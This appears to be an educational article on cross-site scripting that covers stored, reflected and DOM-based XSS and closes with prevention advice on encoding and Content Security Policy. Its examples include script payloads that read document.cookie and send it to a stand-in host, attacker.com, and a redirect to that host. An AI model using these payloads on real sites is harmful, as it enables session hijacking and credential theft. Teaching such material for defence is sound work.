Understanding Cross-Site Scripting (XSS)

Photo by Arget on Unsplash

Cross-Site Scripting (XSS) is a type of web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS attacks can lead to various malicious activities, such as stealing sensitive information, performing unauthorized actions on a website, defacing web pages, and even spreading malware. In this article, we will explore different types of XSS attacks and provide code examples to illustrate how they work.

Stored XSS:

Stored XSS, also known as Persistent XSS, occurs when an attacker injects a malicious script into a website’s database, which is then served to multiple users when they visit the affected web page. Here’s an example:

<!-- Malicious script injected into a comment input field -->
<input type="text" name="comment" value="<script> maliciousFunction(); </script>">

<!-- User's browser renders the script as part of the web page -->
<p>Comment: <script> maliciousFunction(); </script></p>
<!-- Malicious function steals user's cookies and sends them to an attacker-controlled server -->
<script>
function maliciousFunction() {
  var cookies = document.cookie;
  var img = new Image();
  img.src = "http://attacker.com/steal.php?cookies=" + encodeURIComponent(cookies);
}
</script>

In this example, the attacker injects a malicious script into a comment input field, which is then stored on the server and later rendered on the web page. When users view the web page, their browsers execute the malicious script, which steals their cookies and sends them to an attacker-controlled server.

Reflected XSS:

Reflected XSS occurs when an attacker injects a malicious script into the URL or form data, which is then reflected back to the user in the server’s response. Here’s an example:

<!-- Malicious script injected into the URL as a search query -->
http://example.com/search?query=<script> maliciousFunction(); </script>

<!-- Server reflects the script in the response -->
<p>Search results for: "<script> maliciousFunction(); </script>"</p>
<!-- Malicious function redirects user to an attacker-controlled website -->
<script>
function maliciousFunction() {
  window.location.href = "http://attacker.com/redirect.php";
}
</script>

In this example, the attacker injects a malicious script into the URL as a search query. The server reflects the script in the response, and the user’s browser executes it, redirecting the user to an attacker-controlled website.

DOM-based XSS:

DOM-based XSS, also known as Client-Side XSS, occurs when the malicious script is executed directly by the user’s browser without involving the server. This type of XSS attack is typically caused by insecure JavaScript coding practices. Here’s an example:

<!-- Malicious script executed directly by the user's browser -->
<script>
var url = window.location.href;
var search = window.location.search;
var param = search.substring(1);
var script = "<script>maliciousFunction('" + param + "');</script>";
document.write(script);
</script>

<!-- Malicious function steals user's cookies and sends them to an attacker-controlled server -->
<script>
function maliciousFunction(param) {
  var cookies = document.cookie;
  var img = new Image();
  img.src = "http://attacker.com/steal.php?param=" + encodeURIComponent(param) + "&cookies=" + encodeURIComponent(cookies);
}

In this example, the attacker exploits a vulnerable JavaScript code that directly writes a malicious script into the DOM, which is then executed by the user’s browser. The script steals the user’s cookies and sends them to an attacker-controlled server.

Preventing XSS attacks:

To protect against XSS attacks, it’s important to implement proper input validation and output encoding techniques. Here are some best practices to prevent XSS attacks:

1. Input validation: Validate and sanitize all user-generated input, including form data, query parameters, and URL paths, to ensure that it meets expected formats and does not contain any malicious scripts.

// Example of server-side input validation in PHP
$comment = $_POST['comment'];
$comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
// $comment is now safe to be stored in the database or displayed on a web page

2. Output encoding: Use proper output encoding techniques, such as HTML entity encoding, to encode user-generated data before rendering it on a web page. This prevents browsers from interpreting the data as HTML or JavaScript.

<!-- Example of HTML entity encoding in HTML -->
<p>Comment: <?php echo htmlentities($comment, ENT_QUOTES, 'UTF-8'); ?></p>

3. Content Security Policy (CSP): Implement CSP headers on your web server to specify which sources of content are allowed to be loaded by a web page. This helps prevent XSS attacks by restricting the execution of scripts from untrusted sources.

<!-- Example of CSP header in HTTP response -->
Content-Security-Policy: default-src 'self' example.com;

Conclusion:

Cross-Site Scripting (XSS) is a dangerous web security vulnerability that allows attackers to inject malicious scripts into web pages and execute them in the browsers of other users. It can lead to various malicious activities, such as stealing sensitive information and spreading malware. To protect against XSS attacks, it’s important to implement proper input validation, output encoding, and other security measures, such as Content Security Policy (CSP). Following these best practices can help ensure the security and integrity of web applications and prevent XSS attacks from compromising user data and website functionality.